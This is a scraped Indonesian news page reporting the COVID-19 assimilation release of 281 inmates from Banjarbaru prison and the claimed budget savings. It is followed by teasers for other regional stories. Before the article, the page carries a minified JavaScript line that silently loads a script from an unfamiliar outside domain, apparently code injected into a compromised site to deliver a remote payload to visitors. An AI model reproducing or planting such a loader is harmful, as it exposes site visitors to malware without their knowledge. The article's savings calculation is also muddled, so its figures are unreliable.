(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Pembebasan 281 Napi di Lapas Banjarbaru Menghemat Anggaran Rp 944 Juta!


KANALKALIMANTAN.COM, BANJARBARU – Lapas Kelas II Banjarbaru telah menetapkan pemberian asimilasi kepada 281 narapidana. Ini berarti mereka dibebaskan, namun diharuskan tetap berada di rumah masing-masing sampai masa hukuman pidana berakhir. Salah satu syarat bagi mereka yang menerima asimilasi ini, ada para napi yang dua pertiga masa pidananya jatuh sampai dengan tanggal 31 Desember 2020.

Kebijakan membebaskan para napi ini adalah upaya yang dicetuskan Kementerian Hukum dan HAM ihwal pencegahan dan penanganan pandemi virus corona di Lapas maupun Rutan. Di sisi lain, kebijakan ini juga menjadi solusi untuk menghemat anggaran kebutuhan para napi, mengingat saat ini kondisi ekonomi tengah melemah akibat merebaknya pandemi virus corona.

Kepala Lapas Banjarbaru Herliadi, menyebutkan bahwa untuk kebutuhan satu napi, pihaknya menggelontorkan uang sebesar Rp 16.000,86 atau Rp 16 ribu perharinya. Maka jika dikalkulasikan dengan pembebasan 281 napi saat ini, Lapas Banjarbaru telah menghemat anggaran sebesar Rp 4.496.241,66 atau Rp 4,4 juta dalam satu hari.

“Anggaran Rp 16 ribu itu, untuk pasokan makan satu napi. Kalau dihitung, kita menghemat anggaran Rp 4,4 juta dalam satu hari,” katanya, Kamis (2/4/2020) siang.

Lalu, jika dikalkulasikan pembebasan 281 napi dengan biaya sepanjang masa pidana dari April hingga Desember mendatang, Lapas Banjarbaru telah menghemat anggaran negara sebesar Rp 944 juta (Rp 4,4 juta x 281 napi).

Seperti yang diberitakan sebelumnya, 281 napi yang menerima asimilasi akan dibebaskan namun akan tetap dalam pengawasan petugas Balai Permasyarakatan (Bapas). Pembebasan 281 napi dilakukan secara bertahap. Contohnya, pada hari ini, 14 napi yang lebih dulu dibebaskan.

“Hari ini kita membebaskan 14 napi terlebih dahulu. Tadi mereka jyga sudah dikasih arahan oleh petugas. Pembebesan 281 napi di Lapas Banjarbaru, dilakukan secara bertahap sampai pada tanggal 7 April mendatang,” pungkas Kalapas Banjarbaru.

Selain itu, Lapas Banjarbaru juga menerapkan sistem lockdown sebagai upaya memutus penyebaran rantai virus corona. Dalam hal ini, pembesuk tidak diperbolehkan masuk ke dalam lapas dan hanya bisa berhubungan melalui video call dengan napi didalam. Selain itu, pembesuk yang ingin mengirimkan kebutuhan kepada kerabatnya yang berada didalam lapas, harus melewati bilik disinfektan. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie

 


Al Ghifari

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

3 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

4 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

4 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

1 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

1 hari ago

This website uses cookies.